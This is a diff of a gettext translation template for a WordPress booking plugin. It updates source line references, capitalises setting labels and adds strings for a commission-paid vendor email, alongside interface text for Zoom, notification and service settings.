 msgid "Name in emails and Order Form"
 msgstr ""
 
-#: includes/constant-data.php:665
+#: includes/constant-data.php:683
 #, php-format
 msgid ""
 "Defines how the selected booking will be displayed in emails and order form. "
 "All <abbr title=\"%s\">booking placeholders</abbr> can be used."
 msgstr ""
 
-#: includes/constant-data.php:666 includes/freeons/edd.php:1621
+#: includes/constant-data.php:684 includes/freeons/edd.php:1621
 msgid "Price Display"
 msgstr ""
 
-#: includes/constant-data.php:666
+#: includes/constant-data.php:684
 msgid ""
 "Controls how WooCommerce displays prices for products related to services. "
 "\"Hide\" hides all the time. \"Show\" always shows the WooCommerce price. "
@@ -13698,7 +14543,7 @@
 "to the product by \"Connected Post\" setting of the service."
 msgstr ""
 
-#: includes/constant-data.php:667
+#: includes/constant-data.php:685
 #, php-format
 msgid ""
 "Start time of Working Hour setting tables and some views in Schedules. This "
@@ -13706,11 +14551,11 @@
 "it also limits available time slots when %s is set as \"Fixed\"."
 msgstr ""
 
-#: includes/constant-data.php:667 includes/constant-data.php:668
+#: includes/constant-data.php:685 includes/constant-data.php:686
 msgid "Click to access Display Settings page"
 msgstr ""
 
-#: includes/constant-data.php:668
+#: includes/constant-data.php:686
 #, php-format
 msgid ""
 "End time of Working Hour setting tables and some views in Schedules. This "
@@ -13718,11 +14563,11 @@
 "it also limits available time slots when %s is set as \"Fixed\"."
 msgstr ""
 
-#: includes/constant-data.php:669
+#: includes/constant-data.php:687
 msgid "Zoom Agenda"
 msgstr ""
 
-#: includes/constant-data.php:669
+#: includes/constant-data.php:687
 #, php-format
 msgid ""
 "Meeting agenda (description). For Zoom Topic and Zoom Agenda fields, <abbr "
@@ -13730,78 +14575,78 @@
 "creation, these placeholders will be replaced by their real values."
 msgstr ""
 
-#: includes/constant-data.php:670
+#: includes/constant-data.php:688
 msgid "Enables integration with Zoom Online Meetings."
 msgstr ""
 
-#: includes/constant-data.php:671
+#: includes/constant-data.php:689
 msgid ""
 "A Zoom account may have one or more users. Select which user will be used as "
 "host. List of users to be selected as host is updated after API connection "
 "is performed with Test Connection button."
 msgstr ""
 
-#: includes/constant-data.php:672
+#: includes/constant-data.php:690
 msgid "Join Before Host"
 msgstr ""
 
-#: includes/constant-data.php:672
+#: includes/constant-data.php:690
 msgid "Whether Zoom meeting participants allowed to join before host joins."
 msgstr ""
 
-#: includes/constant-data.php:673
+#: includes/constant-data.php:691
 msgid "Oauth Account ID"
 msgstr ""
 
-#: includes/constant-data.php:673
+#: includes/constant-data.php:691
 msgid "Enter Zoom Server-to-Server OAuth Account ID."
 msgstr ""
 
-#: includes/constant-data.php:674
+#: includes/constant-data.php:692
 msgid "Oauth Client ID"
 msgstr ""
 
-#: includes/constant-data.php:674
+#: includes/constant-data.php:692
 msgid "Enter Zoom Server-to-Server OAuth Client ID."
 msgstr ""
 
-#: includes/constant-data.php:675
+#: includes/constant-data.php:693
 msgid "Oauth Client Secret"
 msgstr ""
 
-#: includes/constant-data.php:675
+#: includes/constant-data.php:693
 msgid "Enter Zoom Server-to-Server OAuth Client Secret."
 msgstr ""
 
-#: includes/constant-data.php:676
+#: includes/constant-data.php:694
 msgid "Basis for creation of Zoom meeting password."
 msgstr ""
 
-#: includes/constant-data.php:677
+#: includes/constant-data.php:695
 msgid "Statuses to Delete Meeting"
 msgstr ""
 
-#: includes/constant-data.php:677
+#: includes/constant-data.php:695
 msgid ""
 "Select booking statuses for which the corresponding meeting will be deleted "
 "in Zoom. If none selected, no meeting will be deleted."
 msgstr ""
 
-#: includes/constant-data.php:678
+#: includes/constant-data.php:696
 msgid "Statuses to Create Meeting"
 msgstr ""
 
-#: includes/constant-data.php:678
+#: includes/constant-data.php:696
 msgid ""
 "Select booking statuses for which the corresponding meeting will be created/"
 "updated in Zoom. Cannot be empty."
 msgstr ""
 
-#: includes/constant-data.php:679
+#: includes/constant-data.php:697
 msgid "Zoom Topic"
 msgstr ""
 
-#: includes/constant-data.php:679
+#: includes/constant-data.php:697
 #, php-format
 msgid ""
 "Meeting topic (title). For Zoom Topic and Zoom Agenda fields, <abbr "
@@ -13809,155 +14654,179 @@
 "creation, these placeholders will be replaced by their real values."
 msgstr ""
 
-#: includes/constant-data.php:680
+#: includes/constant-data.php:698
 msgid "Provider Zoom Account Type"
 msgstr ""
 
-#: includes/constant-data.php:680
+#: includes/constant-data.php:698
 msgid ""
 "Select \"None\" if you don't have providers. If selected as \"Individual\" "
 "each provider should create own Zoom account and enter their credentials in "
 "their profiles."
 msgstr ""
 
-#: includes/constant-data.php:684
+#: includes/constant-data.php:702
 msgid "Your application to SITE_NAME approved!"
 msgstr ""
 
-#: includes/constant-data.php:684
-msgid "Approved email Subject"
+#: includes/constant-data.php:702
+msgid "Approved Email Subject"
 msgstr ""
 
-#: includes/constant-data.php:684
+#: includes/constant-data.php:702
 msgid ""
 "Subject of email which is sent to the applicant informing that their "
 "application has been approved"
 msgstr ""
 
-#: includes/constant-data.php:685
-msgid "Approved email Message"
+#: includes/constant-data.php:703
+msgid "Approved Email Message"
 msgstr ""
 
-#: includes/constant-data.php:685
+#: includes/constant-data.php:703
 msgid ""
 "CLIENT, HOME_URL, SITE_NAME, PAGE_LINK (Link to vendor bio page) "
 "placeholders can be used."
 msgstr ""
 
-#: includes/constant-data.php:686
+#: includes/constant-data.php:704
 msgid "Cancellation email Attachment Text"
 msgstr ""
 
-#: includes/constant-data.php:686 includes/constant-data.php:693
-#: includes/constant-data.php:700 includes/constant-data.php:711
-#: includes/constant-data.php:715 includes/constant-data.php:719
-#: includes/constant-data.php:728
+#: includes/constant-data.php:704 includes/constant-data.php:713
+#: includes/constant-data.php:720 includes/constant-data.php:731
+#: includes/constant-data.php:735 includes/constant-data.php:739
+#: includes/constant-data.php:748
 msgid ""
 "Contents of PDF file. HTML allowed and will be formatted with related css "
 "rules."
 msgstr ""
 
-#: includes/constant-data.php:687 includes/constant-data.php:694
-#: includes/constant-data.php:701 includes/constant-data.php:712
-#: includes/constant-data.php:716 includes/constant-data.php:720
-#: includes/constant-data.php:729
+#: includes/constant-data.php:705 includes/constant-data.php:714
+#: includes/constant-data.php:721 includes/constant-data.php:732
+#: includes/constant-data.php:736 includes/constant-data.php:740
+#: includes/constant-data.php:749
 msgid "css Codes for Attachment pdf File"
 msgstr ""
 
-#: includes/constant-data.php:687 includes/constant-data.php:694
-#: includes/constant-data.php:701 includes/constant-data.php:712
-#: includes/constant-data.php:716 includes/constant-data.php:720
-#: includes/constant-data.php:729
+#: includes/constant-data.php:705 includes/constant-data.php:714
+#: includes/constant-data.php:721 includes/constant-data.php:732
+#: includes/constant-data.php:736 includes/constant-data.php:740
+#: includes/constant-data.php:749
 msgid ""
 "Important: Only css for block elements (p, div, table, td, tr, etc) are "
 "allowed."
 msgstr ""
 
-#: includes/constant-data.php:688
-msgid "Cancellation email Message"
+#: includes/constant-data.php:706
+msgid "Cancellation Email Message"
 msgstr ""
 
-#: includes/constant-data.php:689
+#: includes/constant-data.php:707
 msgid "Cancellation SMS Message"
 msgstr ""
 
-#: includes/constant-data.php:690
+#: includes/constant-data.php:708
 msgid "Cancellation SMS Message (Admin)"
 msgstr ""
 
-#: includes/constant-data.php:691
+#: includes/constant-data.php:709
 msgid "Cancellation SMS Message (Provider)"
 msgstr ""
 
-#: includes/constant-data.php:692
+#: includes/constant-data.php:710
 msgid "Your appointment has been cancelled"
 msgstr ""
 
-#: includes/constant-data.php:692
+#: includes/constant-data.php:710
 msgid "Cancellation Email Subject"
 msgstr ""
 
-#: includes/constant-data.php:693
+#: includes/constant-data.php:711 includes/functions.internal.php:2887
+msgid "Good news! You received a payment from SITE_NAME"
+msgstr ""
+
+#: includes/constant-data.php:711
+msgid "Commission Paid Email Subject"
+msgstr ""
+
+#: includes/constant-data.php:711
+msgid ""
+"Subject of email which informs vendor that a commission payment has been made"
+msgstr ""
+
+#: includes/constant-data.php:712
+msgid "Commission Paid Email Message"
+msgstr ""
+
+#: includes/constant-data.php:712
+msgid ""
+"This email template is used when a payment is sent to vendor. VENDOR, "
+"HOME_URL, SITE_NAME, PAGE_LINK (Link to vendor bio page), AMOUNT "
+"placeholders can be used which will be replaced with their real values.."
+msgstr ""
+
+#: includes/constant-data.php:713
 msgid "Completed email Attachment Text"
 msgstr ""
 
-#: includes/constant-data.php:695
-msgid "Completed email Message"
+#: includes/constant-data.php:715
+msgid "Completed Email Message"
 msgstr ""
 
-#: includes/constant-data.php:696
+#: includes/constant-data.php:716
 msgid "Completed SMS Message"
 msgstr ""
 
-#: includes/constant-data.php:697
+#: includes/constant-data.php:717
 msgid "Completed SMS Message (Admin)"
 msgstr ""
 
-#: includes/constant-data.php:698
+#: includes/constant-data.php:718
 msgid "Completed SMS Message (Provider)"
 msgstr ""
 
-#: includes/constant-data.php:699
+#: includes/constant-data.php:719
 msgid "Your appointment has been completed"
 msgstr ""
 
-#: includes/constant-data.php:699
-msgid "Completed email Subject"
+#: includes/constant-data.php:719
+msgid "Completed Email Subject"
 msgstr ""
 
-#: includes/constant-data.php:700
+#: includes/constant-data.php:720
 msgid "Confirmation email Attachment Text"
 msgstr ""
 
-#: includes/constant-data.php:702
-msgid "Confirmation email Message"
+#: includes/constant-data.php:722
+msgid "Confirmation Email Message"
 msgstr ""
 
-#: includes/constant-data.php:703
+#: includes/constant-data.php:723
 msgid "Confirmation SMS Message"
 msgstr ""
 
-#: includes/constant-data.php:704
+#: includes/constant-data.php:724
 msgid "Confirmation SMS Message (Admin)"
 msgstr ""
 
-#: includes/constant-data.php:705
+#: includes/constant-data.php:725
 msgid "Confirmation SMS Message (Provider)"
 msgstr ""
 
-#: includes/constant-data.php:706
+#: includes/constant-data.php:726
 msgid "Confirmation of your appointment"
 msgstr ""
 
-#: includes/constant-data.php:706
+#: includes/constant-data.php:726
 msgid "Confirmation Email Subject"
 msgstr ""
 
-#: includes/constant-data.php:707
+#: includes/constant-data.php:727
 msgid "Confirmation Message Dialog Content"
 msgstr ""
 
-#: includes/constant-data.php:707
+#: includes/constant-data.php:727
 #, php-format
 msgid ""
 "This will be displayed to the client in a dialog pop-up after confirmed or "
@@ -13966,91 +14835,91 @@
 "(see appointment_received in Custom Texts)."
 msgstr ""
 
-#: includes/constant-data.php:708
+#: includes/constant-data.php:728
 msgid "Confirmation Message Dialog Title"
 msgstr ""
 
-#: includes/constant-data.php:708
+#: includes/constant-data.php:728
 msgid ""
 "Title of the confirmation pop-up which will be displayed to the client after "
 "confirmed or paid bookings."
 msgstr ""
 
-#: includes/constant-data.php:709
+#: includes/constant-data.php:729
 msgid "Your application declined"
 msgstr ""
 
-#: includes/constant-data.php:709
-msgid "Declined email Subject"
+#: includes/constant-data.php:729
+msgid "Declined Email Subject"
 msgstr ""
 
-#: includes/constant-data.php:709
+#: includes/constant-data.php:729
 msgid ""
 "Subject of email which is sent to the applicant informing that their "
 "application has been declined"
 msgstr ""
 
-#: includes/constant-data.php:710
-msgid "Declined email Message"
+#: includes/constant-data.php:730
+msgid "Declined Email Message"
 msgstr ""
 
-#: includes/constant-data.php:710
+#: includes/constant-data.php:730
 msgid "CLIENT, HOME_URL, SITE_NAME placeholders can be used."
 msgstr ""
 
-#: includes/constant-data.php:711
+#: includes/constant-data.php:731
 msgid "Due Payment Reminder email Attachment Text"
 msgstr ""
 
-#: includes/constant-data.php:715
+#: includes/constant-data.php:735
 msgid "Follow up email Attachment Text"
 msgstr ""
 
-#: includes/constant-data.php:717
-msgid "Follow-up email Message"
+#: includes/constant-data.php:737
+msgid "Follow-up Email Message"
 msgstr ""
 
-#: includes/constant-data.php:718
+#: includes/constant-data.php:738
 msgid "Warmest greetings from SITE_NAME"
 msgstr ""
 
-#: includes/constant-data.php:718
-msgid "Follow-up email Subject"
+#: includes/constant-data.php:738
+msgid "Follow-up Email Subject"
 msgstr ""
 
-#: includes/constant-data.php:719
+#: includes/constant-data.php:739
 msgid "Pending email Attachment Text"
 msgstr ""
 
-#: includes/constant-data.php:721
-msgid "Pending email Message"
+#: includes/constant-data.php:741
+msgid "Pending Email Message"
 msgstr ""
 
-#: includes/constant-data.php:722
+#: includes/constant-data.php:742
 msgid "Pending SMS Message"
 msgstr ""
 
-#: includes/constant-data.php:723
+#: includes/constant-data.php:743
 msgid "Pending SMS Message (Admin)"
 msgstr ""
 
-#: includes/constant-data.php:724
+#: includes/constant-data.php:744
 msgid "Pending SMS Message (Provider)"
 msgstr ""
 
-#: includes/constant-data.php:725
+#: includes/constant-data.php:745
 msgid "We have received your booking"
 msgstr ""
 
-#: includes/constant-data.php:725
-msgid "Pending email Subject"
+#: includes/constant-data.php:745
+msgid "Pending Email Subject"
 msgstr ""
 
-#: includes/constant-data.php:726
+#: includes/constant-data.php:746
 msgid "Pending Message Dialog Content"
 msgstr ""
 
-#: includes/constant-data.php:726
+#: includes/constant-data.php:746
 #, php-format
 msgid ""
 "This will be displayed to the client in a dialog pop-up after pending "
@@ -14059,200 +14928,200 @@
 "appointment_received in Custom Texts)."
 msgstr ""
 
-#: includes/constant-data.php:727
+#: includes/constant-data.php:747
 msgid "Pending Message Dialog Title"
 msgstr ""
 
-#: includes/constant-data.php:727
+#: includes/constant-data.php:747
 msgid ""
 "Title of the pending pop-up which will be displayed to the client when an "
 "appointment submission is received in pending status."
 msgstr ""
 
-#: includes/constant-data.php:728
+#: includes/constant-data.php:748
 msgid "Reminder email Attachment Text"
 msgstr ""
 
-#: includes/constant-data.php:730
-msgid "Reminder email Message"
+#: includes/constant-data.php:750
+msgid "Reminder Email Message"
 msgstr ""
 
-#: includes/constant-data.php:731
+#: includes/constant-data.php:751
 msgid "Reminder SMS Message"
 msgstr ""
 
-#: includes/constant-data.php:732
+#: includes/constant-data.php:752
 msgid "Reminder SMS Message (Provider)"
 msgstr ""
 
-#: includes/constant-data.php:733
+#: includes/constant-data.php:753
 msgid "Reminder for your appointment on DATE_TIME"
 msgstr ""
 
-#: includes/constant-data.php:733
-msgid "Reminder email Subject"
+#: includes/constant-data.php:753
+msgid "Reminder Email Subject"
 msgstr ""
 
-#: includes/constant-data.php:734
+#: includes/constant-data.php:754
 msgid "Dialog Content"
 msgstr ""
 
-#: includes/constant-data.php:734
+#: includes/constant-data.php:754
 msgid ""
 "Terms & Conditions text. SITE_NAME and HOME_URL placeholders will be "
 "replaced by their actual values."
 msgstr ""
 
-#: includes/constant-data.php:735
+#: includes/constant-data.php:755
 msgid "Dialog Title"
 msgstr ""
 
-#: includes/constant-data.php:735
+#: includes/constant-data.php:755
 msgid "Title of the pop-up which displays terms and conditions."
 msgstr ""
 
-#: includes/constant-data.php:736
+#: includes/constant-data.php:756
 msgid "Activation for SITE_NAME"
 msgstr ""
 
-#: includes/constant-data.php:736
-msgid "Validation email Subject"
+#: includes/constant-data.php:756
+msgid "Validation Email Subject"
 msgstr ""
 
-#: includes/constant-data.php:736
+#: includes/constant-data.php:756
 msgid ""
 "Subject of email which is sent to vendor in order to validate their email "
 "address and activate their account"
 msgstr ""
 
-#: includes/constant-data.php:737
-msgid "Validation email Message"
+#: includes/constant-data.php:757
+msgid "Validation Email Message"
 msgstr ""
 
-#: includes/constant-data.php:737
+#: includes/constant-data.php:757
 msgid ""
 "Must include ACTIVATE placeholder which will be replaced with activation "
 "link. CLIENT, HOME_URL, SITE_NAME placeholders can also be used."
 msgstr ""
 
-#: includes/constant-data.php:738
+#: includes/constant-data.php:758
 msgid "Your application to SITE_NAME has been received"
 msgstr ""
 
-#: includes/constant-data.php:738
-msgid "Vendor Pending email Subject"
+#: includes/constant-data.php:758
+msgid "Vendor Pending Email Subject"
 msgstr ""
 
-#: includes/constant-data.php:738
+#: includes/constant-data.php:758
 msgid ""
 "Subject of email which informs vendor that application has been received and "
 "in pending status"
 msgstr ""
 
-#: includes/constant-data.php:739
-msgid "Vendor Pending email Message"
+#: includes/constant-data.php:759
+msgid "Vendor Pending Email Message"
 msgstr ""
 
-#: includes/constant-data.php:739
+#: includes/constant-data.php:759
 msgid ""
 "This email template is used when user application is in pending status. "
 "CLIENT, HOME_URL, SITE_NAME, PAGE_LINK (Link to vendor bio page) "
 "placeholders can be used."
 msgstr ""
 
-#: includes/constant-data.php:740
-msgid "Submission Received email Message"
+#: includes/constant-data.php:760
+msgid "Submission Received Email Message"
 msgstr ""
 
-#: includes/constant-data.php:740
+#: includes/constant-data.php:760
 msgid ""
 "Body of email which informs client that their submission has been added to "
 "the waiting list."
 msgstr ""
 
-#: includes/constant-data.php:741
-msgid "Notification email Message"
+#: includes/constant-data.php:761
+msgid "Notification Email Message"
 msgstr ""
 
-#: includes/constant-data.php:741
+#: includes/constant-data.php:761
 msgid ""
 "Body of email which informs client that there is an opening for the "
 "requested time slot. CLAIM should be included in the message so that client "
 "can confirm their request is still valid."
 msgstr ""
 
-#: includes/constant-data.php:742
+#: includes/constant-data.php:762
 msgid "Urgent action required for SITE_NAME"
 msgstr ""
 
-#: includes/constant-data.php:742
-msgid "Notification email Subject"
+#: includes/constant-data.php:762
+msgid "Notification Email Subject"
 msgstr ""
 
-#: includes/constant-data.php:742
+#: includes/constant-data.php:762
 msgid ""
 "Subject of email which informs client that there is an opening for the "
 "requested time slot."
 msgstr ""
 
-#: includes/constant-data.php:743
+#: includes/constant-data.php:763
 msgid "Your Booking has been added to SITE_NAME waiting list"
 msgstr ""
 
-#: includes/constant-data.php:743
-msgid "Submission Received email Subject"
+#: includes/constant-data.php:763
+msgid "Submission Received Email Subject"
 msgstr ""
 
-#: includes/constant-data.php:743
+#: includes/constant-data.php:763
 msgid ""
 "Subject of email which informs client that their submission has been added "
 "to the waiting list."
 msgstr ""
 
-#: includes/constant-data.php:764
+#: includes/constant-data.php:784
 msgid "Undefined"
 msgstr ""
 
-#: includes/constant-data.php:817
+#: includes/constant-data.php:837
 msgid ""
 "With <b>Limited Availability</b> you can define at what dates your service "
 "will be publicly bookable, for example to use services as events or rental "
 "bookings like Airbnb."
 msgstr ""
 
-#: includes/constant-data.php:818
+#: includes/constant-data.php:838
 msgid ""
 "To do so, just pick the desired dates on the provided calendar and click "
 "<b>Enable</b>."
 msgstr ""
 
-#: includes/constant-data.php:819
+#: includes/constant-data.php:839
 msgid ""
 "You can select/deselect multiple days by \"Days Picked per Click\" setting. "
 "If you set 7, for example, clicking a date will select that date plus 6 more "
 "consecutive days."
 msgstr ""
 
-#: includes/constant-data.php:820
+#: includes/constant-data.php:840
 msgid ""
 "Limited Availability overrides holidays of the service, provided that it is "
 "enabled."
 msgstr ""
 
-#: includes/constant-data.php:821
+#: includes/constant-data.php:841
 msgid ""
 "For services lasting one day and longer, Limited Availability overrides "
 "working hours of the service as well. It means, you don't need to set "
 "service working hours for such services."
 msgstr ""
 
-#: includes/constant-data.php:832
+#: includes/constant-data.php:852
 msgid ""
 "<i>Here you can optionally add locations. After you define locations, you "
 "can select services to be given in these locations in Services tab.</i>"
 msgstr ""
 
-#: includes/constant-data.php:833
+#: includes/constant-data.php:853
 msgid ""
 "Locations are to be used when you have different business rules depending on "
 "the selection where service is being given, e.g. extras offered, special "
@@ -14260,33 +15129,33 @@
 "services selection menu, prefer \"Categories\" instead."
 msgstr ""
 
-#: includes/constant-data.php:834
+#: includes/constant-data.php:854
 msgid ""
 "As you click \"Add New Location\" button a new empty row will be inserted."
 msgstr ""
 
-#: includes/constant-data.php:835
+#: includes/constant-data.php:855
 msgid ""
 "New inserted record(s) will not be saved unless you fill in the name field "
 "and click \"Save Locations\" button (Save button is only visible if there is "
 "at least one record added)."
 msgstr ""
 
-#: includes/constant-data.php:836 includes/constant-data.php:860
+#: includes/constant-data.php:856 includes/constant-data.php:880
 msgid ""
 "<b>ID field:</b> is automatically given by the system and it is unique. You "
 "can use this ID in shortcodes or in some addon (for example Advanced "
 "Pricing) settings."
 msgstr ""
 
-#: includes/constant-data.php:837
+#: includes/constant-data.php:857
 msgid ""
 "<b>Name field:</b> You can use anything as the location name here. This will "
 "be displayed to the client on the front end in locations pulldown menu, in "
 "list of bookings, in emails, etc."
 msgstr ""
 
-#: includes/constant-data.php:838
+#: includes/constant-data.php:858
 msgid ""
 "<b>Address field:</b> You can use this as reminder for yourself or location "
 "address for your clients as LOCATION_ADDRESS placeholder in email massages "
@@ -14294,13 +15163,13 @@
 "over location on confirmation form will display map of the address."
 msgstr ""
 
-#: includes/constant-data.php:839
+#: includes/constant-data.php:859
 msgid ""
 "<b>Location Manager field:</b> is optional user who receives a copy of all "
 "outgoing emails."
 msgstr ""
 
-#: includes/constant-data.php:840
+#: includes/constant-data.php:860
 msgid ""
 "<b>Capacity field:</b> is optional and it can be used to limit total number "
 "of clients that can be served per time slot when resources are shared and "
@@ -14316,13 +15185,13 @@
 "are for Ladies', set service capacities as 3 and 2, respectively."
 msgstr ""
 
-#: includes/constant-data.php:841
+#: includes/constant-data.php:861
 msgid ""
 "<b>Add. Price field:</b> is optional additional price that will be added to "
 "the service price if this location is selected by the client."
 msgstr ""
 
-#: includes/constant-data.php:842
+#: includes/constant-data.php:862
 msgid ""
 "<b>Connected Post:</b> is an optional page describing the location. The "
 "content of this page will be read from the database and it will be displayed "
@@ -14332,21 +15201,21 @@
 "settings (Advanced Features addon is required). "
 msgstr ""
 
-#: includes/constant-data.php:843
+#: includes/constant-data.php:863
 msgid ""
 "You can add as many records (locations) as you wish and they will only be "
 "saved after you hit Save Locations button."
 msgstr ""
 
-#: includes/constant-data.php:844
+#: includes/constant-data.php:864
 msgid "You can use location setting to group/categorize your services too."
 msgstr ""
 
-#: includes/constant-data.php:845 includes/constant-data.php:1254
+#: includes/constant-data.php:865 includes/constant-data.php:1274
 msgid "To delete a record empty Name field and Save."
 msgstr ""
 
-#: includes/constant-data.php:846
+#: includes/constant-data.php:866
 msgid ""
 "Custom Sorting: In selection menus items are displayed according to the "
 "order here, by default (Other display orders can be set in the related "
@@ -14355,24 +15224,24 @@
 "move it to the new position and then click Save."
 msgstr ""
 
-#: includes/constant-data.php:857
+#: includes/constant-data.php:877
 msgid ""
 "<i>Here you should define your services. <b>There must be at least one "
 "service defined.</b></i>"
 msgstr ""
 
-#: includes/constant-data.php:858
+#: includes/constant-data.php:878
 msgid ""
 "As you click \"Add New Service\" button a new empty row will be inserted."
 msgstr ""
 
-#: includes/constant-data.php:859
+#: includes/constant-data.php:879
 msgid ""
 "New inserted record(s) will not be saved unless you fill in the name field "
 "and click \"Save Services\" button."
 msgstr ""
 
-#: includes/constant-data.php:861
+#: includes/constant-data.php:881
 msgid ""
 "<b>Int (Internal) field:</b> Requires Extended Service Features Addon. "
 "Services marked as internal are not displayed in services pulldown menu. You "
@@ -14384,14 +15253,14 @@
 "service for desired shortcodes, and thus for desired pages."
 msgstr ""
 
-#: includes/constant-data.php:862
+#: includes/constant-data.php:882
 msgid ""
 "<b>Name field:</b> You can use anything as the service name here. This will "
 "be displayed to the client on the front end in Services pulldown menu, in "
 "list of bookings, in emails, etc."
 msgstr ""
 
-#: includes/constant-data.php:863
+#: includes/constant-data.php:883
 msgid ""
 "<b>Locations field:</b> Requires Locations Addon and only valid if there is "
 "at least one location defined. Locations where service will be given. More "
@@ -14399,7 +15268,7 @@
 "should be assigned to at least one location to be selectable."
 msgstr ""
 
-#: includes/constant-data.php:864
+#: includes/constant-data.php:884
 msgid ""
 "<b>Categories field:</b> Requires Extended Service Features Addon. It can be "
 "used to group your services for display convenience, e.g. on front end "
@@ -14411,7 +15280,7 @@
 "service on the front end."
 msgstr ""
 
-#: includes/constant-data.php:865
+#: includes/constant-data.php:885
 #, php-format
 msgid ""
 "<b>Capacity field:</b> is an optional field to change (increase or decrease) "
@@ -14431,7 +15300,7 @@
 "but they are available on admin side as usual."
 msgstr ""
 
-#: includes/constant-data.php:866
+#: includes/constant-data.php:886
 #, php-format
 msgid ""
 "<b>Notes about Capacity setting:</b> You can increase capacity field when "
@@ -14449,14 +15318,14 @@
 "A 4th booking will not be allowed, even when one SP seems to be free."
 msgstr ""
 
-#: includes/constant-data.php:867
+#: includes/constant-data.php:887
 #, php-format
 msgid ""
 "<b>Duration field:</b> is the number of minutes that this service lasts. It "
 "can only be selected in increments of %s."
 msgstr ""
 
-#: includes/constant-data.php:868
+#: includes/constant-data.php:888
 msgid ""
 "<b>Padding before field:</b> Requires Extended Service Features Addon. It is "
 "the period of the break in minutes that will be added before any appointment "
@@ -14466,7 +15335,7 @@
 "Time Base."
 msgstr ""
 
-#: includes/constant-data.php:869
+#: includes/constant-data.php:889
 msgid ""
 "<b>Padding after field:</b> Requires Extended Service Features Addon. It is "
 "the period of the break in minutes that will be added after any appointment. "
@@ -14476,7 +15345,7 @@
 "increments of Time Base."
 msgstr ""
 
-#: includes/constant-data.php:870
+#: includes/constant-data.php:890
 #, php-format
 msgid ""
 "<b>Notes about Padding settings:</b> 1) Paddings are applied to appointments "
@@ -14490,7 +15359,7 @@
 "services."
 msgstr ""
 
-#: includes/constant-data.php:871
+#: includes/constant-data.php:891
 #, php-format
 msgid ""
 "<b>Price field:</b> is the price of the service. You can leave empty for "
@@ -14499,7 +15368,7 @@
 "business location. You can set this requirement by %s setting."
 msgstr ""
 
-#: includes/constant-data.php:872
+#: includes/constant-data.php:892
 #, php-format
 msgid ""
 "<b>Security Deposit field:</b> Requires Extended Service Features Addon. It "
@@ -14511,7 +15380,7 @@
 "Manual Payments, making balance even."
 msgstr ""
 
-#: includes/constant-data.php:873
+#: includes/constant-data.php:893
 #, php-format
 msgid ""
 "<b>Connected Post:</b> is an optional page describing the service. The "
@@ -14523,27 +15392,27 @@
 "Features addon is required). "
 msgstr ""
 
-#: includes/constant-data.php:874
+#: includes/constant-data.php:894
 msgid ""
 "You can add as many records (services) as you wish and they will only be "
 "saved after you hit Save Services button."
 msgstr ""
 
-#: includes/constant-data.php:875
+#: includes/constant-data.php:895
 msgid ""
 "Some service related addons add a \"More\" link just after ID. When you "
 "click that link, you can view and set additional settings required by these "
 "addons."
 msgstr ""
 
-#: includes/constant-data.php:876
+#: includes/constant-data.php:896
 msgid ""
 "To delete a record empty Name field and Save. Note: If you are a service "
 "provider, deletion of self created services may be restricted. If you see a "
 "warning message, contact to admin,"
 msgstr ""
 
-#: includes/constant-data.php:877
+#: includes/constant-data.php:897
 #, php-format
 msgid ""
 "<b>Custom Sorting:</b> In front end selection menus, items are displayed "
@@ -14562,33 +15431,33 @@
 "cases ask admin to sort your services for you."
 msgstr ""
 
-#: includes/constant-data.php:888
+#: includes/constant-data.php:908
 msgid ""
 "<i>Here you can optionally select your service providers, i.e. workers, and "
 "assign them to certain services.</i>"
 msgstr ""
 
-#: includes/constant-data.php:889
+#: includes/constant-data.php:909
 msgid ""
 "As you click \"Add New Service Provider\" button a new empty row will be "
 "inserted."
 msgstr ""
 
-#: includes/constant-data.php:890
+#: includes/constant-data.php:910
 msgid ""
 "New inserted record(s) will not be saved unless you assign at least one "
 "service and click \"Save Service Providers\" button (Save button is only "
 "visible if there is at least one record added)."
 msgstr ""
 
-#: includes/constant-data.php:891
+#: includes/constant-data.php:911
 msgid ""
 "<b>ID field:</b> is automatically filled by the system and it is WordPress "
 "user ID of the service provider. You can use this ID in shortcodes or in "
 "some addon (for example Advanced Pricing) settings."
 msgstr ""
 
-#: includes/constant-data.php:892
+#: includes/constant-data.php:912
 #, php-format
 msgid ""
 "<b>Service Provider field:</b> Select your service provider from the "
@@ -14596,25 +15465,25 @@
 "provider must be a registered user of the website. To add a new user %s. "
 msgstr ""
 
-#: includes/constant-data.php:892 includes/functions.internal.php:2983
-#: includes/functions.internal.php:2986
+#: includes/constant-data.php:912 includes/functions.internal.php:3018
+#: includes/functions.internal.php:3021
 msgid "Click here"
 msgstr ""
 
-#: includes/constant-data.php:893
+#: includes/constant-data.php:913
 msgid ""
 "<b>Display Name field:</b> You can use anything as the service provider name "
 "here. This will be displayed to the client on the front end in Services "
 "Providers pulldown menu, in emails, etc."
 msgstr ""
 
-#: includes/constant-data.php:894
+#: includes/constant-data.php:914
 msgid ""
 "<b>Services Provided field:</b> use this to assign your service provider to "
 "a single or multiple services. You must select at least one service."
 msgstr ""
 
-#: includes/constant-data.php:895
+#: includes/constant-data.php:915
 msgid ""
 "<b>Dummy field:</b> Check the checkbox if this is a \"dummy\" service "
 "provider. A dummy behaves exactly like a normal user, i.e. it has its own "
@@ -14622,14 +15491,14 @@
 "receive are forwarded to the selected user in the Advanced tab."
 msgstr ""
 
-#: includes/constant-data.php:896
+#: includes/constant-data.php:916
 msgid ""
 "<b>Add. Price field:</b> is the optional additional price of the service "
 "provider which will be added to the service price if client picks up this "
 "service provider."
 msgstr ""
 
-#: includes/constant-data.php:897
+#: includes/constant-data.php:917
 msgid ""
 "<b>Bio Page field:</b> is an optional page selection describing this service "
 "provider. The content of this page will be read from the database and it "
@@ -14639,19 +15508,19 @@
 "Advanced settings. "
 msgstr ""
 
-#: includes/constant-data.php:898
+#: includes/constant-data.php:918
 msgid ""
 "You can add as many records (service providers) as you wish and they will "
 "only be saved after you hit Save Service Providers button."
 msgstr ""
 
-#: includes/constant-data.php:899
+#: includes/constant-data.php:919
 msgid ""
 "To delete a record, i.e. unassign a user as service provider, deselect all "
 "Services Provided checkboxes and Save. This does not delete the user."
 msgstr ""
 
-#: includes/constant-data.php:900
+#: includes/constant-data.php:920
 #, php-format
 msgid ""
 "Custom Sorting: In front end selection menus, items are displayed according "
@@ -14664,20 +15533,20 @@
 "page value."
 msgstr ""
 
-#: includes/constant-data.php:912
+#: includes/constant-data.php:932
 msgid ""
 "Here you can define working hours for your services and service providers on "
 "days of the week basis. "
 msgstr ""
 
-#: includes/constant-data.php:913
+#: includes/constant-data.php:933
 msgid ""
 "WP BASE provides a table for each service and provider using which you can "
 "easily set working hours. You just need to set working time slots. Not "
 "selected slots will mean \"break times\"."
 msgstr ""
 
-#: includes/constant-data.php:914
